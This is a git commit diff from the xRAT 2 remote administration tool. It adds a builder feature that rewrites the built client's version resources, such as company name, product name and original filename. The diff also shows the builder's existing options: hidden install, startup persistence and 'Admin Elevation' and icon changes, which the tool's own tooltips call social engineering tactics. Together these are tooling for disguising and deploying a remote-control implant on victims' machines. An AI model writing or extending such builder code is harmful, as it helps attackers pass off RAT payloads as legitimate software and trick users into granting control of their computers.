Added changeable Assembly Information to Builder

- Made xml settings more robust
- Added ResourceLib
- Changed Version displaying
This commit is contained in:
MaxXor 2014-07-24 15:23:44 +02:00
parent 0cfb7882a1
commit 8b45549243
10 changed files with 398 additions and 65 deletions

View File

@ -40,4 +40,8 @@ Credits
---
Protocol Buffers - Google's data interchange format
Copyright 2008 Google Inc.
http://code.google.com/apis/protocolbuffers/
https://code.google.com/apis/protocolbuffers/
ResourceLib
Copyright (c) Daniel Doubrovkine, Vestris Inc., 2008-2013
https://github.com/dblock/resourcelib

View File

@ -3,13 +3,14 @@ using Mono.Cecil;
using Mono.Cecil.Cil;
using System;
using System.Windows.Forms;
using Vestris.ResourceLib;
using xRAT_2.Settings;
namespace Core.Build
{
class ClientBuilder
{
public static void Build(string output, string host, string password, string installsub, string installname, string mutex, string startupkey, bool install, bool startup, bool hidefile, int port, int reconnectdelay, int installpath, bool adminelevation, string iconpath)
public static void Build(string output, string host, string password, string installsub, string installname, string mutex, string startupkey, bool install, bool startup, bool hidefile, int port, int reconnectdelay, int installpath, bool adminelevation, string iconpath, string[] asminfo)
{
// PHASE 1 - Settings
string encKey = Helper.GetRandomName(20);
@ -32,7 +33,7 @@ namespace Core.Build
switch (strings)
{
case 1: //version
methodDef.Body.Instructions[i].Operand = AES.Encrypt(Application.ProductVersion + " " + XMLSettings.VERSION, encKey);
methodDef.Body.Instructions[i].Operand = AES.Encrypt(Application.ProductVersion, encKey);
break;
case 2: //ip/hostname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(host, encKey);
@ -108,7 +109,32 @@ namespace Core.Build
// PHASE 3 - Saving
r.AsmDef.Write(output);
// PHASE 4 - Icon changing
// PHASE 4 - Assembly Information changing
if (asminfo != null)
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(output);
versionResource.FileVersion = asminfo[7];
versionResource.ProductVersion = asminfo[6];
versionResource.Language = 0;
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["CompanyName"] = asminfo[2];
stringFileInfo["FileDescription"] = asminfo[1];
stringFileInfo["ProductName"] = asminfo[0];
stringFileInfo["LegalCopyright"] = asminfo[3];
stringFileInfo["LegalTrademarks"] = asminfo[4];
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["InternalName"] = asminfo[5];
stringFileInfo["OriginalFilename"] = asminfo[5];
versionResource.SaveTo(output);
}
// PHASE 5 - Icon changing
if (!string.IsNullOrEmpty(iconpath))
IconInjector.InjectIcon(output, iconpath);
}

View File

@ -14,6 +14,7 @@ namespace xRAT_2.Forms
lblCredits.Text =
"Credits: Banksy\n" +
" ResourceLib (Copyright (c) Daniel Doubrovkine, Vestris Inc., 2008-2013)\n" +
" protobuf (Copyright 2008 Google Inc.)\n\n" +
"Elevation Form Translators: Xenocode, Increment, DeadLine, Perfectionist,\n" +
" Qmz_, GameFire, navaro21";

View File

@ -42,6 +42,7 @@
this.txtHost = new System.Windows.Forms.TextBox();
this.lblHost = new System.Windows.Forms.Label();
this.groupInstall = new System.Windows.Forms.GroupBox();
this.chkIconChange = new System.Windows.Forms.CheckBox();
this.chkElevation = new System.Windows.Forms.CheckBox();
this.picUAC2 = new System.Windows.Forms.PictureBox();
this.picUAC1 = new System.Windows.Forms.PictureBox();
@ -66,11 +67,29 @@
this.chkInstall = new System.Windows.Forms.CheckBox();
this.btnBuild = new System.Windows.Forms.Button();
this.tooltip = new System.Windows.Forms.ToolTip(this.components);
this.chkIconChange = new System.Windows.Forms.CheckBox();
this.groupAsmInfo = new System.Windows.Forms.GroupBox();
this.lblProductName = new System.Windows.Forms.Label();
this.txtProductName = new System.Windows.Forms.TextBox();
this.txtDescription = new System.Windows.Forms.TextBox();
this.lblDescription = new System.Windows.Forms.Label();
this.txtCompanyName = new System.Windows.Forms.TextBox();
this.lblCompanyName = new System.Windows.Forms.Label();
this.txtCopyright = new System.Windows.Forms.TextBox();
this.lblCopyright = new System.Windows.Forms.Label();
this.txtTrademarks = new System.Windows.Forms.TextBox();
this.lblTrademarks = new System.Windows.Forms.Label();
this.txtOriginalFilename = new System.Windows.Forms.TextBox();
this.lblOriginalFilename = new System.Windows.Forms.Label();
this.txtProductVersion = new System.Windows.Forms.TextBox();
this.lblProductVersion = new System.Windows.Forms.Label();
this.txtFileVersion = new System.Windows.Forms.TextBox();
this.lblFileVersion = new System.Windows.Forms.Label();
this.chkChangeAsmInfo = new System.Windows.Forms.CheckBox();
this.groupConnection.SuspendLayout();
this.groupInstall.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit();
this.groupAsmInfo.SuspendLayout();
this.SuspendLayout();
//
// groupConnection
@ -98,7 +117,7 @@
this.lblMS.Location = new System.Drawing.Point(186, 126);
this.lblMS.Name = "lblMS";
this.lblMS.Size = new System.Drawing.Size(21, 13);
this.lblMS.TabIndex = 11;
this.lblMS.TabIndex = 9;
this.lblMS.Text = "ms";
//
// txtDelay
@ -107,7 +126,7 @@
this.txtDelay.MaxLength = 6;
this.txtDelay.Name = "txtDelay";
this.txtDelay.Size = new System.Drawing.Size(66, 22);
this.txtDelay.TabIndex = 10;
this.txtDelay.TabIndex = 8;
this.txtDelay.Text = "5000";
this.txtDelay.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtDelay_KeyPress);
//
@ -117,7 +136,7 @@
this.lblDelay.Location = new System.Drawing.Point(17, 123);
this.lblDelay.Name = "lblDelay";
this.lblDelay.Size = new System.Drawing.Size(95, 13);
this.lblDelay.TabIndex = 9;
this.lblDelay.TabIndex = 7;
this.lblDelay.Text = "Reconnect Delay:";
//
// chkShowPass
@ -126,7 +145,7 @@
this.chkShowPass.Location = new System.Drawing.Point(118, 99);
this.chkShowPass.Name = "chkShowPass";
this.chkShowPass.Size = new System.Drawing.Size(107, 17);
this.chkShowPass.TabIndex = 8;
this.chkShowPass.TabIndex = 6;
this.chkShowPass.Text = "Show Password";
this.chkShowPass.UseVisualStyleBackColor = true;
this.chkShowPass.CheckedChanged += new System.EventHandler(this.chkShowPass_CheckedChanged);
@ -137,7 +156,7 @@
this.txtPassword.Name = "txtPassword";
this.txtPassword.PasswordChar = '•';
this.txtPassword.Size = new System.Drawing.Size(201, 22);
this.txtPassword.TabIndex = 7;
this.txtPassword.TabIndex = 5;
//
// lblPassword
//
@ -145,7 +164,7 @@
this.lblPassword.Location = new System.Drawing.Point(53, 74);
this.lblPassword.Name = "lblPassword";
this.lblPassword.Size = new System.Drawing.Size(59, 13);
this.lblPassword.TabIndex = 6;
this.lblPassword.TabIndex = 4;
this.lblPassword.Text = "Password:";
//
// txtPort
@ -154,7 +173,7 @@
this.txtPort.MaxLength = 5;
this.txtPort.Name = "txtPort";
this.txtPort.Size = new System.Drawing.Size(66, 22);
this.txtPort.TabIndex = 5;
this.txtPort.TabIndex = 3;
this.txtPort.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtPort_KeyPress);
//
// lblPort
@ -163,7 +182,7 @@
this.lblPort.Location = new System.Drawing.Point(81, 46);
this.lblPort.Name = "lblPort";
this.lblPort.Size = new System.Drawing.Size(31, 13);
this.lblPort.TabIndex = 4;
this.lblPort.TabIndex = 2;
this.lblPort.Text = "Port:";
//
// txtHost
@ -171,7 +190,7 @@
this.txtHost.Location = new System.Drawing.Point(118, 15);
this.txtHost.Name = "txtHost";
this.txtHost.Size = new System.Drawing.Size(201, 22);
this.txtHost.TabIndex = 3;
this.txtHost.TabIndex = 1;
//
// lblHost
//
@ -179,7 +198,7 @@
this.lblHost.Location = new System.Drawing.Point(37, 18);
this.lblHost.Name = "lblHost";
this.lblHost.Size = new System.Drawing.Size(75, 13);
this.lblHost.TabIndex = 2;
this.lblHost.TabIndex = 0;
this.lblHost.Text = "IP/Hostname:";
//
// groupInstall
@ -214,13 +233,24 @@
this.groupInstall.TabStop = false;
this.groupInstall.Text = "Install";
//
// chkIconChange
//
this.chkIconChange.AutoSize = true;
this.chkIconChange.Location = new System.Drawing.Point(118, 326);
this.chkIconChange.Name = "chkIconChange";
this.chkIconChange.Size = new System.Drawing.Size(91, 17);
this.chkIconChange.TabIndex = 20;
this.chkIconChange.Text = "Change Icon";
this.tooltip.SetToolTip(this.chkIconChange, "Custom social engineering tactic to elevate Admin privileges.");
this.chkIconChange.UseVisualStyleBackColor = true;
//
// chkElevation
//
this.chkElevation.AutoSize = true;
this.chkElevation.Location = new System.Drawing.Point(118, 303);
this.chkElevation.Name = "chkElevation";
this.chkElevation.Size = new System.Drawing.Size(147, 17);
this.chkElevation.TabIndex = 31;
this.chkElevation.TabIndex = 19;
this.chkElevation.Text = "Enable Admin Elevation";
this.tooltip.SetToolTip(this.chkElevation, "Custom social engineering tactic to elevate Admin privileges.");
this.chkElevation.UseVisualStyleBackColor = true;
@ -253,7 +283,7 @@
this.rbSystem.Location = new System.Drawing.Point(118, 141);
this.rbSystem.Name = "rbSystem";
this.rbSystem.Size = new System.Drawing.Size(60, 17);
this.rbSystem.TabIndex = 22;
this.rbSystem.TabIndex = 10;
this.rbSystem.TabStop = true;
this.rbSystem.Text = "System";
this.tooltip.SetToolTip(this.rbSystem, "Administrator Privileges are required to install the client in System.");
@ -266,7 +296,7 @@
this.rbProgramFiles.Location = new System.Drawing.Point(118, 118);
this.rbProgramFiles.Name = "rbProgramFiles";
this.rbProgramFiles.Size = new System.Drawing.Size(94, 17);
this.rbProgramFiles.TabIndex = 21;
this.rbProgramFiles.TabIndex = 9;
this.rbProgramFiles.TabStop = true;
this.rbProgramFiles.Text = "Program Files";
this.tooltip.SetToolTip(this.rbProgramFiles, "Administrator Privileges are required to install the client in Program Files.");
@ -278,7 +308,7 @@
this.txtRegistryKeyName.Location = new System.Drawing.Point(118, 275);
this.txtRegistryKeyName.Name = "txtRegistryKeyName";
this.txtRegistryKeyName.Size = new System.Drawing.Size(201, 22);
this.txtRegistryKeyName.TabIndex = 30;
this.txtRegistryKeyName.TabIndex = 18;
//
// lblRegistryKeyName
//
@ -286,7 +316,7 @@
this.lblRegistryKeyName.Location = new System.Drawing.Point(9, 278);
this.lblRegistryKeyName.Name = "lblRegistryKeyName";
this.lblRegistryKeyName.Size = new System.Drawing.Size(103, 13);
this.lblRegistryKeyName.TabIndex = 29;
this.lblRegistryKeyName.TabIndex = 17;
this.lblRegistryKeyName.Text = "Registry Key Name:";
//
// chkStartup
@ -294,9 +324,9 @@
this.chkStartup.AutoSize = true;
this.chkStartup.Location = new System.Drawing.Point(118, 252);
this.chkStartup.Name = "chkStartup";
this.chkStartup.Size = new System.Drawing.Size(101, 17);
this.chkStartup.TabIndex = 28;
this.chkStartup.Text = "Add to startup";
this.chkStartup.Size = new System.Drawing.Size(102, 17);
this.chkStartup.TabIndex = 16;
this.chkStartup.Text = "Add to Startup";
this.chkStartup.UseVisualStyleBackColor = true;
this.chkStartup.CheckedChanged += new System.EventHandler(this.chkStartup_CheckedChanged);
//
@ -305,9 +335,9 @@
this.chkHide.AutoSize = true;
this.chkHide.Location = new System.Drawing.Point(118, 229);
this.chkHide.Name = "chkHide";
this.chkHide.Size = new System.Drawing.Size(69, 17);
this.chkHide.TabIndex = 27;
this.chkHide.Text = "Hide file";
this.chkHide.Size = new System.Drawing.Size(71, 17);
this.chkHide.TabIndex = 15;
this.chkHide.Text = "Hide File";
this.chkHide.UseVisualStyleBackColor = true;
//
// btnMutex
@ -316,7 +346,7 @@
this.btnMutex.Location = new System.Drawing.Point(244, 41);
this.btnMutex.Name = "btnMutex";
this.btnMutex.Size = new System.Drawing.Size(75, 18);
this.btnMutex.TabIndex = 14;
this.btnMutex.TabIndex = 3;
this.btnMutex.Text = "New Mutex";
this.btnMutex.UseVisualStyleBackColor = true;
this.btnMutex.Click += new System.EventHandler(this.btnMutex_Click);
@ -327,7 +357,7 @@
this.lblExamplePath.Location = new System.Drawing.Point(34, 204);
this.lblExamplePath.Name = "lblExamplePath";
this.lblExamplePath.Size = new System.Drawing.Size(78, 13);
this.lblExamplePath.TabIndex = 25;
this.lblExamplePath.TabIndex = 13;
this.lblExamplePath.Text = "Example Path:";
//
// txtExamplePath
@ -336,14 +366,14 @@
this.txtExamplePath.Name = "txtExamplePath";
this.txtExamplePath.ReadOnly = true;
this.txtExamplePath.Size = new System.Drawing.Size(201, 22);
this.txtExamplePath.TabIndex = 26;
this.txtExamplePath.TabIndex = 14;
//
// txtInstallsub
//
this.txtInstallsub.Location = new System.Drawing.Point(118, 173);
this.txtInstallsub.Name = "txtInstallsub";
this.txtInstallsub.Size = new System.Drawing.Size(201, 22);
this.txtInstallsub.TabIndex = 24;
this.txtInstallsub.TabIndex = 12;
this.txtInstallsub.TextChanged += new System.EventHandler(this.txtInstallsub_TextChanged);
this.txtInstallsub.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallsub_KeyPress);
//
@ -353,7 +383,7 @@
this.lblInstallsub.Location = new System.Drawing.Point(17, 176);
this.lblInstallsub.Name = "lblInstallsub";
this.lblInstallsub.Size = new System.Drawing.Size(95, 13);
this.lblInstallsub.TabIndex = 23;
this.lblInstallsub.TabIndex = 11;
this.lblInstallsub.Text = "Install Subfolder:";
//
// lblInstallpath
@ -362,7 +392,7 @@
this.lblInstallpath.Location = new System.Drawing.Point(45, 97);
this.lblInstallpath.Name = "lblInstallpath";
this.lblInstallpath.Size = new System.Drawing.Size(67, 13);
this.lblInstallpath.TabIndex = 19;
this.lblInstallpath.TabIndex = 7;
this.lblInstallpath.Text = "Install Path:";
//
// rbAppdata
@ -372,7 +402,7 @@
this.rbAppdata.Location = new System.Drawing.Point(118, 95);
this.rbAppdata.Name = "rbAppdata";
this.rbAppdata.Size = new System.Drawing.Size(111, 17);
this.rbAppdata.TabIndex = 20;
this.rbAppdata.TabIndex = 8;
this.rbAppdata.TabStop = true;
this.rbAppdata.Text = "Application Data";
this.rbAppdata.UseVisualStyleBackColor = true;
@ -384,7 +414,7 @@
this.txtMutex.MaxLength = 64;
this.txtMutex.Name = "txtMutex";
this.txtMutex.Size = new System.Drawing.Size(201, 22);
this.txtMutex.TabIndex = 13;
this.txtMutex.TabIndex = 1;
//
// lblMutex
//
@ -392,7 +422,7 @@
this.lblMutex.Location = new System.Drawing.Point(74, 18);
this.lblMutex.Name = "lblMutex";
this.lblMutex.Size = new System.Drawing.Size(42, 13);
this.lblMutex.TabIndex = 12;
this.lblMutex.TabIndex = 0;
this.lblMutex.Text = "Mutex:";
//
// lblExtension
@ -401,7 +431,7 @@
this.lblExtension.Location = new System.Drawing.Point(288, 71);
this.lblExtension.Name = "lblExtension";
this.lblExtension.Size = new System.Drawing.Size(27, 13);
this.lblExtension.TabIndex = 18;
this.lblExtension.TabIndex = 6;
this.lblExtension.Text = ".exe";
//
// txtInstallname
@ -409,7 +439,7 @@
this.txtInstallname.Location = new System.Drawing.Point(118, 65);
this.txtInstallname.Name = "txtInstallname";
this.txtInstallname.Size = new System.Drawing.Size(168, 22);
this.txtInstallname.TabIndex = 17;
this.txtInstallname.TabIndex = 5;
this.txtInstallname.TextChanged += new System.EventHandler(this.txtInstallname_TextChanged);
this.txtInstallname.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallname_KeyPress);
//
@ -419,7 +449,7 @@
this.lblInstallname.Location = new System.Drawing.Point(40, 68);
this.lblInstallname.Name = "lblInstallname";
this.lblInstallname.Size = new System.Drawing.Size(73, 13);
this.lblInstallname.TabIndex = 16;
this.lblInstallname.TabIndex = 4;
this.lblInstallname.Text = "Install Name:";
//
// chkInstall
@ -427,9 +457,9 @@
this.chkInstall.AutoSize = true;
this.chkInstall.Location = new System.Drawing.Point(118, 42);
this.chkInstall.Name = "chkInstall";
this.chkInstall.Size = new System.Drawing.Size(88, 17);
this.chkInstall.TabIndex = 15;
this.chkInstall.Text = "Install client";
this.chkInstall.Size = new System.Drawing.Size(90, 17);
this.chkInstall.TabIndex = 2;
this.chkInstall.Text = "Install Client";
this.chkInstall.UseVisualStyleBackColor = true;
this.chkInstall.CheckedChanged += new System.EventHandler(this.chkInstall_CheckedChanged);
//
@ -438,28 +468,183 @@
this.btnBuild.Location = new System.Drawing.Point(217, 525);
this.btnBuild.Name = "btnBuild";
this.btnBuild.Size = new System.Drawing.Size(121, 23);
this.btnBuild.TabIndex = 33;
this.btnBuild.TabIndex = 3;
this.btnBuild.Text = "Build client!";
this.btnBuild.UseVisualStyleBackColor = true;
this.btnBuild.Click += new System.EventHandler(this.btnBuild_Click);
//
// chkIconChange
// groupAsmInfo
//
this.chkIconChange.AutoSize = true;
this.chkIconChange.Location = new System.Drawing.Point(118, 326);
this.chkIconChange.Name = "chkIconChange";
this.chkIconChange.Size = new System.Drawing.Size(91, 17);
this.chkIconChange.TabIndex = 32;
this.chkIconChange.Text = "Change Icon";
this.tooltip.SetToolTip(this.chkIconChange, "Custom social engineering tactic to elevate Admin privileges.");
this.chkIconChange.UseVisualStyleBackColor = true;
this.groupAsmInfo.Controls.Add(this.chkChangeAsmInfo);
this.groupAsmInfo.Controls.Add(this.txtFileVersion);
this.groupAsmInfo.Controls.Add(this.lblFileVersion);
this.groupAsmInfo.Controls.Add(this.txtProductVersion);
this.groupAsmInfo.Controls.Add(this.lblProductVersion);
this.groupAsmInfo.Controls.Add(this.txtOriginalFilename);
this.groupAsmInfo.Controls.Add(this.lblOriginalFilename);
this.groupAsmInfo.Controls.Add(this.txtTrademarks);
this.groupAsmInfo.Controls.Add(this.lblTrademarks);
this.groupAsmInfo.Controls.Add(this.txtCopyright);
this.groupAsmInfo.Controls.Add(this.lblCopyright);
this.groupAsmInfo.Controls.Add(this.txtCompanyName);
this.groupAsmInfo.Controls.Add(this.lblCompanyName);
this.groupAsmInfo.Controls.Add(this.txtDescription);
this.groupAsmInfo.Controls.Add(this.lblDescription);
this.groupAsmInfo.Controls.Add(this.txtProductName);
this.groupAsmInfo.Controls.Add(this.lblProductName);
this.groupAsmInfo.Location = new System.Drawing.Point(343, 12);
this.groupAsmInfo.Name = "groupAsmInfo";
this.groupAsmInfo.Size = new System.Drawing.Size(317, 269);
this.groupAsmInfo.TabIndex = 2;
this.groupAsmInfo.TabStop = false;
this.groupAsmInfo.Text = "Assembly Information";
//
// lblProductName
//
this.lblProductName.AutoSize = true;
this.lblProductName.Location = new System.Drawing.Point(22, 43);
this.lblProductName.Name = "lblProductName";
this.lblProductName.Size = new System.Drawing.Size(82, 13);
this.lblProductName.TabIndex = 1;
this.lblProductName.Text = "Product Name:";
//
// txtProductName
//
this.txtProductName.Location = new System.Drawing.Point(110, 40);
this.txtProductName.Name = "txtProductName";
this.txtProductName.Size = new System.Drawing.Size(201, 22);
this.txtProductName.TabIndex = 2;
//
// txtDescription
//
this.txtDescription.Location = new System.Drawing.Point(110, 68);
this.txtDescription.Name = "txtDescription";
this.txtDescription.Size = new System.Drawing.Size(201, 22);
this.txtDescription.TabIndex = 4;
//
// lblDescription
//
this.lblDescription.AutoSize = true;
this.lblDescription.Location = new System.Drawing.Point(35, 71);
this.lblDescription.Name = "lblDescription";
this.lblDescription.Size = new System.Drawing.Size(69, 13);
this.lblDescription.TabIndex = 3;
this.lblDescription.Text = "Description:";
//
// txtCompanyName
//
this.txtCompanyName.Location = new System.Drawing.Point(110, 96);
this.txtCompanyName.Name = "txtCompanyName";
this.txtCompanyName.Size = new System.Drawing.Size(201, 22);
this.txtCompanyName.TabIndex = 6;
//
// lblCompanyName
//
this.lblCompanyName.AutoSize = true;
this.lblCompanyName.Location = new System.Drawing.Point(14, 99);
this.lblCompanyName.Name = "lblCompanyName";
this.lblCompanyName.Size = new System.Drawing.Size(90, 13);
this.lblCompanyName.TabIndex = 5;
this.lblCompanyName.Text = "Company Name:";
//
// txtCopyright
//
this.txtCopyright.Location = new System.Drawing.Point(110, 124);
this.txtCopyright.Name = "txtCopyright";
this.txtCopyright.Size = new System.Drawing.Size(201, 22);
this.txtCopyright.TabIndex = 8;
//
// lblCopyright
//
this.lblCopyright.AutoSize = true;
this.lblCopyright.Location = new System.Drawing.Point(43, 127);
this.lblCopyright.Name = "lblCopyright";
this.lblCopyright.Size = new System.Drawing.Size(61, 13);
this.lblCopyright.TabIndex = 7;
this.lblCopyright.Text = "Copyright:";
//
// txtTrademarks
//
this.txtTrademarks.Location = new System.Drawing.Point(110, 152);
this.txtTrademarks.Name = "txtTrademarks";
this.txtTrademarks.Size = new System.Drawing.Size(201, 22);
this.txtTrademarks.TabIndex = 10;
//
// lblTrademarks
//
this.lblTrademarks.AutoSize = true;
this.lblTrademarks.Location = new System.Drawing.Point(36, 155);
this.lblTrademarks.Name = "lblTrademarks";
this.lblTrademarks.Size = new System.Drawing.Size(68, 13);
this.lblTrademarks.TabIndex = 9;
this.lblTrademarks.Text = "Trademarks:";
//
// txtOriginalFilename
//
this.txtOriginalFilename.Location = new System.Drawing.Point(110, 180);
this.txtOriginalFilename.Name = "txtOriginalFilename";
this.txtOriginalFilename.Size = new System.Drawing.Size(201, 22);
this.txtOriginalFilename.TabIndex = 12;
//
// lblOriginalFilename
//
this.lblOriginalFilename.AutoSize = true;
this.lblOriginalFilename.Location = new System.Drawing.Point(3, 183);
this.lblOriginalFilename.Name = "lblOriginalFilename";
this.lblOriginalFilename.Size = new System.Drawing.Size(101, 13);
this.lblOriginalFilename.TabIndex = 11;
this.lblOriginalFilename.Text = "Original Filename:";
//
// txtProductVersion
//
this.txtProductVersion.Location = new System.Drawing.Point(110, 208);
this.txtProductVersion.Name = "txtProductVersion";
this.txtProductVersion.Size = new System.Drawing.Size(201, 22);
this.txtProductVersion.TabIndex = 14;
//
// lblProductVersion
//
this.lblProductVersion.AutoSize = true;
this.lblProductVersion.Location = new System.Drawing.Point(12, 211);
this.lblProductVersion.Name = "lblProductVersion";
this.lblProductVersion.Size = new System.Drawing.Size(92, 13);
this.lblProductVersion.TabIndex = 13;
this.lblProductVersion.Text = "Product Version:";
//
// txtFileVersion
//
this.txtFileVersion.Location = new System.Drawing.Point(110, 236);
this.txtFileVersion.Name = "txtFileVersion";
this.txtFileVersion.Size = new System.Drawing.Size(201, 22);
this.txtFileVersion.TabIndex = 16;
//
// lblFileVersion
//
this.lblFileVersion.AutoSize = true;
this.lblFileVersion.Location = new System.Drawing.Point(34, 239);
this.lblFileVersion.Name = "lblFileVersion";
this.lblFileVersion.Size = new System.Drawing.Size(70, 13);
this.lblFileVersion.TabIndex = 15;
this.lblFileVersion.Text = "File Version:";
//
// chkChangeAsmInfo
//
this.chkChangeAsmInfo.AutoSize = true;
this.chkChangeAsmInfo.Location = new System.Drawing.Point(110, 17);
this.chkChangeAsmInfo.Name = "chkChangeAsmInfo";
this.chkChangeAsmInfo.Size = new System.Drawing.Size(180, 17);
this.chkChangeAsmInfo.TabIndex = 0;
this.chkChangeAsmInfo.Text = "Change Assembly Information";
this.chkChangeAsmInfo.UseVisualStyleBackColor = true;
this.chkChangeAsmInfo.CheckedChanged += new System.EventHandler(this.chkChangeAsmInfo_CheckedChanged);
//
// frmBuilder
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
this.ClientSize = new System.Drawing.Size(350, 560);
this.ClientSize = new System.Drawing.Size(673, 560);
this.Controls.Add(this.groupAsmInfo);
this.Controls.Add(this.btnBuild);
this.Controls.Add(this.groupInstall);
this.Controls.Add(this.groupConnection);
@ -479,6 +664,8 @@
this.groupInstall.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.picUAC2)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.picUAC1)).EndInit();
this.groupAsmInfo.ResumeLayout(false);
this.groupAsmInfo.PerformLayout();
this.ResumeLayout(false);
}
@ -522,5 +709,23 @@
private System.Windows.Forms.ToolTip tooltip;
private System.Windows.Forms.CheckBox chkElevation;
private System.Windows.Forms.CheckBox chkIconChange;
private System.Windows.Forms.GroupBox groupAsmInfo;
private System.Windows.Forms.TextBox txtDescription;
private System.Windows.Forms.Label lblDescription;
private System.Windows.Forms.TextBox txtProductName;
private System.Windows.Forms.Label lblProductName;
private System.Windows.Forms.TextBox txtOriginalFilename;
private System.Windows.Forms.Label lblOriginalFilename;
private System.Windows.Forms.TextBox txtTrademarks;
private System.Windows.Forms.Label lblTrademarks;
private System.Windows.Forms.TextBox txtCopyright;
private System.Windows.Forms.Label lblCopyright;
private System.Windows.Forms.TextBox txtCompanyName;
private System.Windows.Forms.Label lblCompanyName;
private System.Windows.Forms.TextBox txtFileVersion;
private System.Windows.Forms.Label lblFileVersion;
private System.Windows.Forms.TextBox txtProductVersion;
private System.Windows.Forms.Label lblProductVersion;
private System.Windows.Forms.CheckBox chkChangeAsmInfo;
}
}

View File

@ -1,6 +1,7 @@
using Core;
using Core.Build;
using System;
using System.Text.RegularExpressions;
using System.Windows.Forms;
using xRAT_2.Settings;
@ -30,6 +31,17 @@ namespace xRAT_2.Forms
txtRegistryKeyName.Text = pm.ReadValue("RegistryName");
chkElevation.Checked = bool.Parse(pm.ReadValue("AdminElevation"));
chkIconChange.Checked = bool.Parse(pm.ReadValue("ChangeIcon"));
// new profile options - fallback for old version
chkChangeAsmInfo.Checked = bool.Parse((!string.IsNullOrEmpty(pm.ReadValue("ChangeAsmInfo"))) ? pm.ReadValue("ChangeAsmInfo") : "False");
txtProductName.Text = pm.ReadValue("ProductName");
txtDescription.Text = pm.ReadValue("Description");
txtCompanyName.Text = pm.ReadValue("CompanyName");
txtCopyright.Text = pm.ReadValue("Copyright");
txtTrademarks.Text = pm.ReadValue("Trademarks");
txtOriginalFilename.Text = pm.ReadValue("OriginalFilename");
txtProductVersion.Text = pm.ReadValue("ProductVersion");
txtFileVersion.Text = pm.ReadValue("FileVersion");
}
private void SaveProfile(string profilename)
@ -49,6 +61,15 @@ namespace xRAT_2.Forms
pm.WriteValue("RegistryName", txtRegistryKeyName.Text);
pm.WriteValue("AdminElevation", chkElevation.Checked.ToString());
pm.WriteValue("ChangeIcon", chkIconChange.Checked.ToString());
pm.WriteValue("ChangeAsmInfo", chkChangeAsmInfo.Checked.ToString());
pm.WriteValue("ProductName", txtProductName.Text);
pm.WriteValue("Description", txtDescription.Text);
pm.WriteValue("CompanyName", txtCompanyName.Text);
pm.WriteValue("Copyright", txtCopyright.Text);
pm.WriteValue("Trademarks", txtTrademarks.Text);
pm.WriteValue("OriginalFilename", txtOriginalFilename.Text);
pm.WriteValue("ProductVersion", txtProductVersion.Text);
pm.WriteValue("FileVersion", txtFileVersion.Text);
}
private void frmBuilder_Load(object sender, EventArgs e)
@ -70,6 +91,8 @@ namespace xRAT_2.Forms
chkStartup.Enabled = chkInstall.Checked;
txtRegistryKeyName.Enabled = (chkInstall.Checked && chkStartup.Checked);
ToggleAsmInfoControls();
}
private void frmBuilder_FormClosing(object sender, FormClosingEventArgs e)
@ -158,6 +181,11 @@ namespace xRAT_2.Forms
txtRegistryKeyName.Enabled = chkStartup.Checked;
}
private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e)
{
ToggleAsmInfoControls();
}
private void RefreshExamplePath()
{
string path = string.Empty;
@ -209,7 +237,25 @@ namespace xRAT_2.Forms
{
try
{
ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text, txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked, chkHide.Checked, int.Parse(txtPort.Text), int.Parse(txtDelay.Text), GetInstallpath(), chkElevation.Checked, icon);
string[] asmInfo = null;
if (chkChangeAsmInfo.Checked)
{
if (!IsValidVersionNumber(txtProductVersion.Text) || !IsValidVersionNumber(txtFileVersion.Text))
{
MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
return;
}
asmInfo = new string[8];
asmInfo[0] = txtProductName.Text;
asmInfo[1] = txtDescription.Text;
asmInfo[2] = txtCompanyName.Text;
asmInfo[3] = txtCopyright.Text;
asmInfo[4] = txtTrademarks.Text;
asmInfo[5] = txtOriginalFilename.Text;
asmInfo[6] = txtProductVersion.Text;
asmInfo[7] = txtFileVersion.Text;
}
ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text, txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked, chkHide.Checked, int.Parse(txtPort.Text), int.Parse(txtDelay.Text), GetInstallpath(), chkElevation.Checked, icon, asmInfo);
MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
catch (Exception ex)
@ -228,8 +274,6 @@ namespace xRAT_2.Forms
MessageBox.Show("Please fill out all required fields!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
private int GetInstallpath()
{
if (rbAppdata.Checked)
@ -256,5 +300,25 @@ namespace xRAT_2.Forms
return rbAppdata;
}
}
private void ToggleAsmInfoControls()
{
this.Invoke((MethodInvoker)delegate
{
foreach (Control ctrl in groupAsmInfo.Controls)
{
if (ctrl is Label)
((Label)ctrl).Enabled = chkChangeAsmInfo.Checked;
else if (ctrl is TextBox)
((TextBox)ctrl).Enabled = chkChangeAsmInfo.Checked;
}
});
}
private bool IsValidVersionNumber(string input)
{
Match match = Regex.Match(input, @"^[0-9]+\.[0-9]+\.(\*|[0-9]+)\.(\*|[0-9]+)$", RegexOptions.IgnoreCase);
return match.Success;
}
}
}

View File

@ -1,5 +1,6 @@
using System.Reflection;
using System.Runtime.InteropServices;
